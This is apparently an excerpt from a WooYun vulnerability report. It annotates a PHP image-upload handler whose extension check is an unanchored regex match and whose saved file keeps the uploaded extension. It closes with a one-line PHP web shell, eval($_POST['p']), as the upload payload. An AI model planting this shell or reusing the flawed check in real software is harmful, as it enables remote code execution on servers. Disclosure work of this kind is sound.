WooYun.org

$upext=kc_config('up.imageype');//注释1：获取允许上传的图片类型
@ini_set('upload_tmp_dir',ROOT.PATH_UP.'/temp/'); 
无关代码
$err = "";
$msg = "''";
$u=new user;
$userid=$u->info['userid'];
if($u->auth_group('user_upimage',true)==false) $err='您所在会员组会员无权上传图片';
$upfile=@$_FILES[$inputname];
if(!isset($upfile))$err='文件域的name错误';
elseif(!empty($upfile['error']))
{
	无关代码
}
elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传';
else
{
	$temppath=$upfile['tmp_name'];
	$extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1));//注释2：获取上传文件的类型
	if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))//注释3：判断文件是否允许上传
	{		
		$bytes=$upfile['size'];//filesize($temppath);
		if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件';
		else
		{
			//创建目录
			$attach_subdir =date('y/m/d');
			$attach_dir = PATH_UP.'/'.$attach_subdir;
			$attach_subdirs=explode('/',$attach_subdir);
			$attach_temp=ROOT.PATH_UP;
			foreach($attach_subdirs as $r){//注释4：上传后文件的路径
				$attach_temp.='/'.$r;
				if(!is_dir($attach_temp)){
					@mkdir($attach_temp, 0755); 
					@fclose(fopen($attach_temp.'/index.html', 'w'));
				}
			}
			$filename=date("His").mt_rand(1000,9999).'.'.$extension;//注释5：上传后文件的名字
			$target = $attach_dir.'/'.$filename;
			rename($temppath,ROOT.$target);
			$arr=getimagesize(ROOT.$target);
			list($width,$height)=$arr;
			$extension=strtolower(substr(strrchr($arr['mime'], '/'), 1));
			$fext=$extension=='jpg' ? 'jpeg' : strtolower($extension);
			$func='imagecreatefrom'.$fext;//加载图像函数
			$source=$func(ROOT.$target);
			$max_width=kc_config('system.image_width');
			$max_height=kc_config('system.image_height');
			if ($width>$max_width || $height>$max_height) {
				if($width>=$height*$max_width/$max_height){
					$newW=$max_width;
					$newH=($max_width/$width)*$height;
				}else{
					$newW=($max_height/$height)*$width;
					$newH=$max_height;
				}
				$thumb=imagecreatetruecolor($newW, $newH);
				// Resize
				imagecopyresampled($thumb, $source, 0, 0, 0, 0, $newW, $newH, $width, $height);
				$func='image'.$fext;
				imageantialias($thumb,True);
				$func($thumb,ROOT.$target);
				@chmod(ROOT.$target,0755);
			}
无关代码

<?php 
eval($_POST["p"]);
?>